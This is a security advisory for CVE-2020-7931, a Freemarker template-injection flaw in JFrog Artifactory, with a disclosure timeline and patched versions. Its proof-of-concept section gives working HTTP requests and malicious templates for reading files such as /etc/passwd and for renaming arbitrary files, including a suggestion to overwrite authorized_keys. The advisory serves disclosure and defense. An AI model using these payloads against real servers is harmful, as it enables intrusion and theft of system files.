- JFrog
- JFrog Artifactory (6.10.1 tested, other versions are also affected)
JFrog Artifactory allows an authenticated attacker to upload, deploy, and execute Freemarker templates. A malicious Freemarker template can execute sensitive Java functions due to the use of the DefaultObjectWrapper class within Artifactory. An attacker can leverage this to read and write arbitrary files on the Artifactory instance.
- JFrog has released a patch for the following versions: 5.11.8 | 6.1.6 | 6.3.9 | 6.7.8 | 6.8.17 | 6.9.6 | 6.10.9 | 6.11.7 | 6.12.3 | 6.13.2 | 6.14.2 | 6.15.1 | 6.16.0
This issue was identified by Ryan Hanson of Atredis Partners
- CVE-2020-7931
- https://www.jfrog.com/confluence/display/RTF/Release+Notes#ReleaseNotes-Artifactory6.15.1
2019-09-20: Atredis Partners contacted the Apache Freemarker project to determine if this behavior was known and reported a similar issue in their demo application.
2019-09-25: Apache Freemarker resolved this issue in their demo application and recommends use of SimpleObjectWrapper instead of DefaultObjectWrapper going forward.
2019-10-25: Atredis Partners provided details of this issue to JFrog as it applies to the Artifactory product.
2019-12-09: Atredis Partners provided a copy of this advisory to CERT/CC and an update to JFrog.
2019-12-10: JFrog responded with information about available patches for this issue.
2020-01-23: Atredis Partners published this advisory.
JFrog allows authenticated users to execute Freemarker templates that have been deployed and marked as filtered resources. This can be abused to read and write files on the filesystem of the Artfactory server.
These attacks work by reusing Java objects that are within scope of the template.
To read a file, the template first accesses the security object exposed by Artifactory and then traverses the object tree to gain access to a URI and URL object, which are then used to get the contents of a file. This can be represented with a single line:
security.getClass().getProtectionDomain().getClassLoader().getURLs()[0].toURI().resolve('/etc/passwd').toURL().getContent()
To demonstrate the file read attack, a malicious Freemarker template must first be uploaded:
POST /artifactory/ui/artifact/upload HTTP/1.1
Host: 192.168.1.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
X-Requested-With: artUI
X-ARTIFACTORY-REPOTYPE: Maven
Content-Type: multipart/form-data; boundary=---------------------------929091233030188921154790807
Content-Length: 933
Cookie: SESSION=efaeadf4-3e9b-4a94-bcfe-2bc9c17c4a7d
Connection: close
-----------------------------929091233030188921154790807
Content-Disposition: form-data; name="file"; filename="ssti.xml"
Content-Type: text/xml
<#attempt>
<#assign filename=request.getParameter("filename")>
<#assign protected_domain=security.getClass().getProtectionDomain()>
<#assign urls=protected_domain.getClassLoader().getURLs()>
<#assign file_url=urls[0].toURI().resolve(filename).toURL()>
<#assign file_content=file_url.getContent()>
print("".join([<#list 0..999999999 as _><#assign byte=file_content.read()><#if byte == -1><#break></#if>chr(${byte}), </#list>]))
<#recover>
print("Failed to read ${filename}")
</#attempt>
-----------------------------929091233030188921154790807--
The next request deploys the uploaded file:
POST /artifactory/ui/artifact/deploy HTTP/1.1
Host: 192.168.1.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Referer: http://192.168.1.1:8081/artifactory/webapp/
Content-Type: application/json;charset=utf-8
Request-Agent: artifactoryUI
X-Requested-With: artUI
Content-Length: 308
Cookie: SESSION=efaeadf4-3e9b-4a94-bcfe-2bc9c17c4a7d
Connection: close
{"action":"deploy","unitInfo":{"artifactType":"base","path":"/ssti.xml","mavenArtifact":false,"valid":true,"origArtifactType":"base","debianArtifact":false,"vagrantArtifact":false,"composerArtifact":false,"cranArtifact":false,"bundle":false,"type":"xml"},"fileName":"ssti.xml","repoKey":"libs-release-local"}
The deployed artifact is marked as a filtered resource, which will cause Artifactory to use the Freemarker template engine to process it:
POST /artifactory/ui/filteredResource?setFiltered=true HTTP/1.1
Host: 192.168.1.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Referer: http://192.168.1.1:8081/artifactory/webapp/
Content-Type: application/json;charset=utf-8
Request-Agent: artifactoryUI
X-Requested-With: artUI
Content-Length: 50
Cookie: SESSION=efaeadf4-3e9b-4a94-bcfe-2bc9c17c4a7d
Connection: close
{"repoKey":"libs-release-local","path":"ssti.xml"}
Finally, a request to /artifactory/libs-release-local/ssti.xml?filename=/etc/passwd
is used to return the contents of the file or folder passed in the filename parameter.
In addition to a file read, an attacker can also use this to create a File object with an arbitrary path if the web application is running in Tomcat's Catalina servlet container, which is the case with Artifactory. After creating two File objects, the renameTo()
method can be used to move the file to an arbitrary location.
The template below demonstrates use of the renameTo()
method:
<#assign protected_domain=security.getClass().getProtectionDomain()>
<#assign loader=protected_domain.getClassLoader()>
<#assign root=loader.getResources()>
<#assign context=root.getContext()>
<#assign host=context.getParent()>
<#assign orig_appbase=host.getAppBaseFile()>
${host.setAppBase("/opt/jfrog/artifactory/README.txt")}
<#assign source_file=host.getAppBaseFile()>
${host.setAppBase("/opt/jfrog/artifactory/README2.txt")}
<#assign dest_file=host.getAppBaseFile()>
orig: ${orig_appbase}
source_file: ${source_file}
dest_file: ${dest_file}
renamed?: ${source_file.renameTo(dest_file)?string}
restoring... ${host.setAppBase(orig_appbase?string)}
restored: ${host.getAppBaseFile()}
The template above works by traversing the object hierarchy to gain access to the org.apache.catalina.core.StandardHost
object and then converting a string to a File by first calling setAppBase()
with the string and then accessing the File object by calling getAppBaseFile()
. This allows for a source and destination file to be created and used in a call to renameTo()
. In this case it simply renames the README.txt
file to README2.txt
, but this can also be used by an attacker to compromise the Artifactory server, by rewriting .ssh/authorized_keys
or another sensitive file.